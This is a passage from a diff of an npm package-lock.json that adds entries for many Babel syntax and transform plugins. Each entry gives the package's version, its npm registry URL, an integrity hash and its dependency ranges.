"node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.28.6.tgz", + "integrity": "sha512-71EYI0ONURHJBL4rSFXnITXqXrrY8q4P0q006DPfN+Rk+ASM+++IBXem/ruokgBZR8YNEWZ8R6B+rCb8VcUTqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-flow": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.28.6.tgz", + "integrity": "sha512-D+OrJumc9McXNEBI/JmFnc/0uCM2/Y3PEBG3gfV3QIYkKv5pvnpzFrl1kYCrcHJP8nOeFB/SHi1IHz29pNGuew==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.28.6.tgz", + "integrity": "sha512-pSJUpFHdx9z5nqTSirOCMtYVP2wFgoWhP0p3g8ONK/4IHhLIBd0B9NYqAvIUAhq+OkhO4VM1tENCt0cjlsNShw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.28.6.tgz", + "integrity": "sha512-jiLC0ma9XkQT3TKJ9uYvlakm66Pamywo+qwL+oL8HJOvc6TWdZXVfhqJr8CCzbSGUAbDOzlGHJC1U+vRfLQDvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz", + "integrity": "sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", + "integrity": "sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.27.1.tgz", + "integrity": "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.29.0.tgz", + "integrity": "sha512-va0VdWro4zlBr2JsXC+ofCPB2iG12wPtVGTWFx2WLDOM3nYQZZIGP82qku2eW/JR83sD+k2k+CsNtyEbUqhU6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-remap-async-to-generator": "^7.27.1", + "@babel/traverse": "^7.29.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.28.6.tgz", + "integrity": "sha512-ilTRcmbuXjsMmcZ3HASTe4caH5Tpo93PkTxF9oG2VZsSWsahydmcEHhix9Ik122RcTnZnUzPbmux4wh1swfv7g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-remap-async-to-generator": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.27.1.tgz", + "integrity": "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.28.6.tgz", + "integrity": "sha512-tt/7wOtBmwHPNMPu7ax4pdPz6shjFrmHDghvNC+FG9Qvj7D6mJcoRQIF5dy4njmxR941l6rgtvfSB2zX3VlUIw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.28.6.tgz", + "integrity": "sha512-dY2wS3I2G7D697VHndN91TJr8/AAfXQNt5ynCTI/MpxMsSzHp+52uNivYT5wCPax3whc47DR8Ba7cmlQMg24bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.28.6.tgz", + "integrity": "sha512-rfQ++ghVwTWTqQ7w8qyDxL1XGihjBss4CmTgGRCTAC9RIbhVpyp4fOeZtta0Lbf+dTNIVJer6ych2ibHwkZqsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.28.6.tgz", + "integrity": "sha512-EF5KONAqC5zAqT783iMGuM2ZtmEBy+mJMOKl2BCvPZ2lVrwvXnB6o+OBWCS+CoeCCpVRF2sA2RBKUxvT8tQT5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-globals": "^7.28.0", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-replace-supers": "^7.28.6", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.28.6.tgz", + "integrity": "sha512-bcc3k0ijhHbc2lEfpFHgx7eYw9KNXqOerKWfzbxEHUGKnS3sz9C4CNL9OiFN1297bDNfUiSO7DaLzbvHQQQ1BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/template": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.28.5.tgz", + "integrity": "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.28.6.tgz", + "integrity": "sha512-SljjowuNKB7q5Oayv4FoPzeB74g3QgLt8IVJw9ADvWy3QnUb/01aw8I4AVv8wYnPvQz2GDDZ/g3GhcNyDBI4Bg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.27.1.tgz", + "integrity": "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.29.0.tgz", + "integrity": "sha512-zBPcW2lFGxdiD8PUnPwJjag2J9otbcLQzvbiOzDxpYXyCuYX9agOwMPGn1prVH0a4qzhCKu24rlH4c1f7yA8rw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.27.1.tgz", + "integrity": "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-explicit-resource-management": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-explicit-resource-management/-/plugin-transform-explicit-resource-management-7.28.6.tgz", + "integrity": "sha512-Iao5Konzx2b6g7EPqTy40UZbcdXE126tTxVFr/nAIj+WItNxjKSYTEw3RC+A2/ZetmdJsgueL1KhaMCQHkLPIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/plugin-transform-destructuring": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.28.6.tgz", + "integrity": "sha512-WitabqiGjV/vJ0aPOLSFfNY1u9U3R7W36B03r5I2KoNix+a3sOhJ3pKFB3R5It9/UiK78NiO0KE9P21cMhlPkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.27.1.tgz", + "integrity": "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-flow-strip-types": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.27.1.tgz", + "integrity": "sha512-G5eDKsu50udECw7DL2AcsysXiQyB7Nfg521t2OAJ4tbfTJ27doHLeF/vlI1NZGlLdbb/v+ibvtL1YBQqYOwJGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/plugin-syntax-flow": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.27.1.tgz", + "integrity": "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.27.1.tgz", + "integrity": "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.28.6.tgz", + "integrity": "sha512-Nr+hEN+0geQkzhbdgQVPoqr47lZbm+5fCUmO70722xJZd0Mvb59+33QLImGj6F+DkK3xgDi1YVysP8whD6FQAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.27.1.tgz", + "integrity": "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.28.6.tgz", + "integrity": "sha512-+anKKair6gpi8VsM/95kmomGNMD0eLz1NQ8+Pfw5sAwWH9fGYXT50E55ZpV0pHUHWf6IUTWPM+f/7AAff+wr9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.27.1.tgz", + "integrity": "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.27.1.tgz", + "integrity": "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.28.6.tgz", + "integrity": "sha512-jppVbf8IV9iWWwWTQIxJMAJCWBuuKx71475wHwYytrRGQ2CWiDvYlADQno3tcYpS/T2UUWFQp3nVtYfK/YBQrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.29.0.tgz", + "integrity": "sha512-PrujnVFbOdUpw4UHiVwKvKRLMMic8+eC0CuNlxjsyZUiBjhFdPsewdXCkveh2KqBA9/waD0W1b4hXSOBQJezpQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.29.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.27.1.tgz", + "integrity": "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.29.0.tgz", + "integrity": "sha512-1CZQA5KNAD6ZYQLPw7oi5ewtDNxH/2vuCh+6SmvgDfhumForvs8a1o9n0UrEoBD8HU4djO2yWngTQlXl1NDVEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + 